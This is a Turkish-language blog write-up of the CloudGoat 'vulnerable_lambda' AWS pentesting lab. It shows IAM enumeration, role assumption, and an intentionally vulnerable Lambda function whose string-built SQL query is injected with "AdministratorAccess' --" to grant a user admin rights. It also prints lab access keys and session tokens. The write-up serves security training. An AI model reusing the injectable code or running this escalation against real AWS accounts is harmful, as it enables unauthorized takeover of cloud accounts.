İçeriğe geç

vulnerable_lambda – CloudGoat

İhtiyar hâlimde bana İsmail’i ve İshak’ı lütfeden Allah’a [hamd]olsun! Şüphesiz ki Rabbim elbette duayı duyandır.
Ibrahim 39

Giriş

CloudGoat yüksek lisanstayken verilen bir ödev sonrası keşfettiğim bir platform oldu. Açıkçası AWS Pentesting ile ilgilenenlerin incelemesi gereken bir platform olduğunu düşünüyorum. Kısaca bilgi vermek gerekirse aws hesabınızla projeyi githubtan indiriyorsunuz ve daha sonrasında içerisinde var olan senaryoları cloud ortamınıza deploy ediyorsunuz. Böylece cloud ortamında zafiyetli bir ortam ayağa kaldırmış oluyorsunuz ve pentest yeteneklerinizi burada geliştirebiliyorsunuz. Niyetim bir seri başlatım buradaki senaryoları tamamlamak olacak.

https://github.com/RhinoSecurityLabs/cloudgoat adresinden projeyi edinebilirsiniz ben direkt olarak docker üzerinden ilerledim, talimatları uyguladıktan sonra projeyi ayağa kaldıracaksınızdır.

Not: AWS yeni başlayanlar için karışık olabilir arkaplanda cloudgoat çok fazla şeyi ayağa kaldıracaktır ve bunları kesinlikle elinizle manel kaldırmayın. README’yi okuduğunuzda destroy komutu ile cloudgoat’ın oluşturduğu her şeyi kendisinin kaldıracağını göreceksiniz. Eğer docker kullanıyorsanız ortamınızı destroy etmeden docker’ınızı kesinlikle silmeyin, yoksa ayarlarınızda sileneceğinden dolayı manuel kaldırmak zorunda kalabilirsiniz.

vulnerable_lambda

Senaryonun sayfası: https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/vulnerable_lambda/README.md
Senaryo hakkında: In this scenario, you start as the ‘bilbo’ user. You will assume a role with more privileges, discover a lambda function that applies policies to users, and exploit a vulnerability in the function to escalate the privileges of the bilbo user in order to search for secrets.

Ortamı ayağa kaldırdığımızda bize bilbo isimli bir profilin access key ve secret key’lerini verecektir. Aşağıdaki gibi:

[cloudgoat] terraform output completed with no error code.
cloudgoat_output_aws_account_id = 756521207102
cloudgoat_output_bilbo_access_key_id = AKIA3AJBNQU7IEXM3ZWL
cloudgoat_output_bilbo_secret_key = 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

Bu credentialları aws cli için bilbo isminde bir profile ekledim. bu işlemi yaptıktan sonra ilk iş olarak ben kimim diye sordun.

fa5406ca7822:/usr/src/cloudgoat# aws --profile bilbo --region us-east-1 sts get-caller-identity
{
    "UserId": "AIDA3AJBNQU7ELGOGPRHE",
    "Account": "756521207102",
    "Arn": "arn:aws:iam::756521207102:user/cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri"
}

Evet buradan kullanıcı adımızı: cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri olarak öğrendik. Şimdi bu kullanıcı ait hakları öğrenmemiz gerekir. Bunlar:

  • User Policies,
  • Roles,
  • Attached User Policies
fa5406ca7822:/usr/src/cloudgoat# aws --profile bilbo --region us-east-1 iam list-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri
{
    "PolicyNames": [
        "cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri-standard-user-assumer"
    ]
}

Kullanıcı adında lambda ifadesi geçtiğinden dolayı lambda ile ilgili bir şeyler yapacağımızı zaten düşünmüşüzdür, aynı zamanda user policy’lere baktığımızda da cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri-standard-user-assumer isimli bir policy görmekteyiz. bu policy’nin içeriğine bakalım.

fa5406ca7822:/usr/src/cloudgoat# aws --profile bilbo --region us-east-1 iam get-user-policy --user-name cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri --policy-name cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri-standard-user-assumer
{
    "UserName": "cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri",
    "PolicyName": "cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri-standard-user-assumer",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::940877411605:role/cg-lambda-invoker*",
                "Sid": ""
            },
            {
                "Action": [
                    "iam:Get*",
                    "iam:List*",
                    "iam:SimulateCustomPolicy",
                    "iam:SimulatePrincipalPolicy"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": ""
            }
        ]
    }
}

Burada bir lambda var ve bu lambdada wildcard kullanılmış bu aslında bilerek bırakılmış bir şey çünkü lambda oluşturulurken random numaralarla generate ediliyor proje düzgün bir şekilde çalışsın diye o olambda üzerinde AssumeRole işlemine izin vermek için bu şekilde bir konfigürasyon girlmiş ancak diğer iam:Get ve iam:List gibi actionlar biraz düşündürücü. Şimdi burada gördüğümüz lambda invoke etmeye yarayan rolü görelim.

fa5406ca7822:/usr/src/cloudgoat# aws --profile bilbo --region us-east-1 iam list-roles | grep cg-
            "RoleName": "cg-lambda-invoker-vulnerable_lambda_cgidzpinh3i2ri",
            "Arn": "arn:aws:iam::756521207102:role/cg-lambda-invoker-vulnerable_lambda_cgidzpinh3i2ri",
                            "AWS": "arn:aws:iam::756521207102:user/cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri"

İlgili rolün policy’lerine bakalım.

fa5406ca7822:/usr/src/cloudgoat# aws --profile bilbo --region us-east-1 iam list-role-policies --role-name cg-lambda-invoker-vulnerable_lambda_cgidzpinh3i2ri
{
    "PolicyNames": [
        "lambda-invoker"
    ]
}

Beklendiği gibi lambda-invoker. Tamamdır bütün adresler lambdalara bakmayı götürüyor bizi. lambda invoker işlemini rol ile aldığımızda dolayı şimdi bu role sahip credential üretelim. Daha sonrasında burada elde ettiğimiz credentialları profile olarak setleyip işlemlerimize buradan devam edelim.

fa5406ca7822:/usr/src/cloudgoat# aws --profile bilbo --region us-east-1 sts assume-role --role-arn arn:aws:iam::756521207102:role/cg-lambda-invoker-vulnerable_lambda_cgidzpinh3i2ri --role-session-name invoke_lam
{
    "Credentials": {
        "AccessKeyId": "ASIA3AJBNQU7HDH6HKLY",
        "SecretAccessKey": "ftOllRO4p++xBax0Fi+ifSOYj4tq31ua/MgLA6TR",
        "SessionToken": "FwoGZXIvYXdzEKH//////////wEaDHCi4H2cw3mvw3zHpSKuAcYrYX89cXs49UDyBse98Xd0jgvFD55vGInVYZDOnhHSjobhA6esp5gbZJyMiufoXCF6I6y12FpwEfwxcJVOtxR0UTlqfx2LVv05BJlqXtnR07FG2YverTlJxngm5BXZHdYmvmRJ8tkxAzwnTkNoMaQ+AtUIqMFpb9azllZuAlyeJ/50eFBgxBYhfVZaWW3E4EsKHDrxq1VEnQX6GiuCH136x5ii13EIfP4kxTj3OyiL4uiqBjIt9UILuzw7TQow6Vkjj/EojszLMH5h5JYo+ZR1e+EGEg1xCFhbiBZBZxa+Vzbm",
        "Expiration": "2023-11-19T17:00:11Z"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA3AJBNQU7I67JNRQ4B:invoke_lam",
        "Arn": "arn:aws:sts::756521207102:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidzpinh3i2ri/invoke_lam"
    }
}

fa5406ca7822:/usr/src/cloudgoat# echo "[invoke_lam]">>~/.aws/credentials 
fa5406ca7822:/usr/src/cloudgoat# echo "aws_access_key_id = ASIA3AJBNQU7HDH6HKLY" >>~/.aws/credentials
fa5406ca7822:/usr/src/cloudgoat# echo "aws_secret_access_key = ftOllRO4p++xBax0Fi+ifSOYj4tq31ua/MgLA6TR" >>~/.aws/credentials
fa5406ca7822:/usr/src/cloudgoat# echo "aws_session_token = FwoGZXIvYXdzEKH//////////wEaDHCi4H2cw3mvw3zHpSKuAcYrYX89cXs49UDyBse98Xd0jgvFD55vGInVYZDOnhHSjobhA6esp5gbZJyMiufoXCF6I6y12FpwEfwxcJVOtxR0UTlqfx2LVv05BJlqXtnR07FG2YverTlJxngm5BXZHdYmvmRJ8tkxAzwnTkNoMaQ+AtUIqMFpb9azllZuAlyeJ/50eFBgxBYhfVZaWW3E4EsKHDrxq1VEnQX6GiuCH136x5ii13EIfP4kxTj3OyiL4uiqBjIt9UILuzw7TQow6Vkjj/EojszLMH5h5JYo+ZR1e+EGEg1xCFhbiBZBZxa+Vzbm" >> ~/.aws/credentials
fa5406ca7822:/usr/src/cloudgoat# 

Evet şimdi invoce_lam profile ile lambdları listlemeyi deneyelim..


fa5406ca7822:/usr/src/cloudgoat# aws --profile invoke_lam --region us-east-1 lambda list-functions

{
            "FunctionName": "vulnerable_lambda_cgidzpinh3i2ri-policy_applier_lambda1",
            "FunctionArn": "arn:aws:lambda:us-east-1:756521207102:function:vulnerable_lambda_cgidzpinh3i2ri-policy_applier_lambda1",
            "Runtime": "python3.9",
            "Role": "arn:aws:iam::756521207102:role/vulnerable_lambda_cgidzpinh3i2ri-policy_applier_lambda1",
            "Handler": "main.handler",
            "CodeSize": 991559,
            "Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2023-11-19T15:20:31.840+0000",
            "CodeSha256": "U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "21274231-caf6-49ec-ad58-930d880178a2",
            "PackageType": "Zip",
            "Architectures": [
                "x86_64"
            ]
        }

Evet lambdamızı bulduk şimdi yapısını kontrol edelim.

fa5406ca7822:/usr/src/cloudgoat# aws --profile invoke_lam --region us-east-1 lambda get-function --function-name vulnerable_lambda_cgidzpinh3i2ri-policy_applier_lambda1
{
    "Configuration": {
        "FunctionName": "vulnerable_lambda_cgidzpinh3i2ri-policy_applier_lambda1",
        "FunctionArn": "arn:aws:lambda:us-east-1:756521207102:function:vulnerable_lambda_cgidzpinh3i2ri-policy_applier_lambda1",
        "Runtime": "python3.9",
        "Role": "arn:aws:iam::756521207102:role/vulnerable_lambda_cgidzpinh3i2ri-policy_applier_lambda1",
        "Handler": "main.handler",
        "CodeSize": 991559,
        "Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2023-11-19T15:20:31.840+0000",
        "CodeSha256": "U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "21274231-caf6-49ec-ad58-930d880178a2",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ]
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/756521207102/vulnerable_lambda_cgidzpinh3i2ri-policy_applier_lambda1-b5b9e715-1a6e-4916-9a2e-c67af715859a?versionId=MY6nvHuU6XGFcRwv8WFHfFUBejmlaQlP&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEJD%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJHMEUCIQCW5okluvZUh9jSgsbnYlBJ%2BWioz4LwHRUmx9T1%2F%2BsAFAIgc%2FbRuFbU8B3EVrzRmBMg7RkZpd4AftURwL7naTUJW3kqugUI2P%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAAGgw3NDk2Nzg5MDI4MzkiDG4ngYpl8NrhjUmAmCqOBXey24w%2F8oNAufjTx5tEiCu8IpjWpcUOwnSzuhn827vlNMdS44C5FWU6najSYT6rsUCk9ZxEZwMmFF9aU0pJzTp0K5cbI9EHjqTpva6X%2BeNKKDMG%2BKv4zuPNwDyZ4zFjzxAqmdNhK3TTMq6MDS%2BbADv9yjzefH6qoGpRuSGdC4gtPaYRZk7ereiEOdPZjFov6hIGqNpxXUR6KGwAQVAPbzUkZn%2F96JTj7LKt8RyHCpA5753H5BqaoEB3%2F6LmGcqJ6n8iPeasqH3cOOwg47OXipZIxMoAYbWXnBHRN2E7CiLPqKxBYd7xWNHEEEYdVkEbRSMDvjYaNm342XRUrHxHE6xNDqwoc7gGOBS7Y3M2UJhfaMiWvxuxHzchwp8G%2FgaqXORu05gm4UlcdxBlqt4xg1BBCIBeXkr2MAglc9wMtvyRp6OGJc%2BwklUbQlapleYrYgEZ72H3NUbMLF%2FeZnZOzk7AW6ZERY6owjoi0GhZpYtCRN5R4tFYCysEosSSBdiRDZkN6uATbmmrJ1gyt15KgpqbOZyHOe%2Bz%2FffvqHagJeZpyv25GWuhx2BjeT89vyX2YzpWYDkcQY%2Fd1FeigUYgPQQdDBOVACXNPYblZaCFys%2FVvjgcROiejzer%2FkWFvmaN7amoTt4MWeC5pu%2BSD%2FKikVM7GHxQNpuy48EABtQNd5slpdsPczmy39edaWo%2BnWY%2BMps33tMFYWv7Fye6hZPALdVi%2BVfiOAfoFUMw0TWttMhamAunTM8l%2Fen71CjD9h1i0gFZFJyXy9NHHNkUBo0EYU0%2Bz%2BY3TLjqYTa6Sembla9Eo64YIlyt7l4KfDFLf5fbP7AThWhWouJaQ1vm3N8XzV506rj4E5se48eOxP9XqDDAzuiqBjqxASYgEMCu9mV9pq6zGLJKUXkor6bZZ%2B9TWiW%2BlVPHQAGkMByoIvbis4Yrsw2qsWsSCzw6UCBZbatKpwGV%2FuZsA7eTAgeU4oM5EvSzxyLHg3UowdkMvuUPSzqa68VRiTRhIfbhJgCuEGcEgJw7Q%2FIk9Ex3HFKWySkeRhuFEzs%2FYe1iZqCt2xtifV0ql1AfzRIiPDjT0jdZibxb1BjD1AdvFycdiL1Gdod562ngEi0G9xqN5Q%3D%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20231119T160547Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIA25DCYHY3Q6FUQNON%2F20231119%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=ee9798a1d73661ae5e260d123c0bc2ac00d0bff7d40677251919416209f365a0"
    },
    "Tags": {
        "Name": "cg-vulnerable_lambda_cgidzpinh3i2ri",
        "Scenario": "vulnerable-lambda",
        "Stack": "CloudGoat"
    }
}

Kodu bu şekilde indirip daha sonrasında vscode ile açtığımda main.py dosyasında sqli olduğunu fark ettim. İşte kod:

import boto3
from sqlite_utils import Database

db = Database("my_database.db")
iam_client = boto3.client('iam')

# db["policies"].insert_all([
#     {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'}, 
#     {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'},
#     {"policy_name": "AdministratorAccess", "public": 'False'}
# ])

def handler(event, context):
    target_policys = event['policy_names']
    user_name = event['user_name']
    print(f"target policys are : {target_policys}")

    for policy in target_policys:
        statement_returns_valid_policy = False
        statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
        for row in db.query(statement):
            statement_returns_valid_policy = True
            print(f"applying {row['policy_name']} to {user_name}")
            response = iam_client.attach_user_policy(
                UserName=user_name,
                PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
            )
            print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))

        if not statement_returns_valid_policy:
            invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
                                       f"policies and don't cheat. :) "
            print(invalid_policy_statement)
            return invalid_policy_statement

    return "All managed policies were applied as expected."

if __name__ == "__main__":
    payload = {
        "policy_names": [
            "AmazonSNSReadOnlyAccess",
            "AWSLambda_ReadOnlyAccess"
        ],
        "user_name": "cg-bilbo-user"
    }
    print(handler(payload, 'uselessinfo'))

sqli olan kısım ise statement = f"select policy_name from policies where policy_name='{policy}' and public='True'" buraya AdministratorAccess' -- payloadını gönderdiğimizde işlem tamam olacaktır.


d75708648058:/usr/src/cloudgoat# aws --profile invoke_lam --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgidzpinh3i2ri-policy_applier_lambda1  raw-in-base64-out --payload "{\"policy_names\": [\"AdministratorAccess' --\"], \"user_name\": \"cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri\"}" 
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

Kodumuz düzgün bir şekilde çalıştı şimdi attached haklarımızı kontrol edelim.

d75708648058:/usr/src/cloudgoat# aws --profile bilbo --region us-east-1 iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidzpinh3i2ri
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}

Harika!

Kategori:AWSAWS Pentesting

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir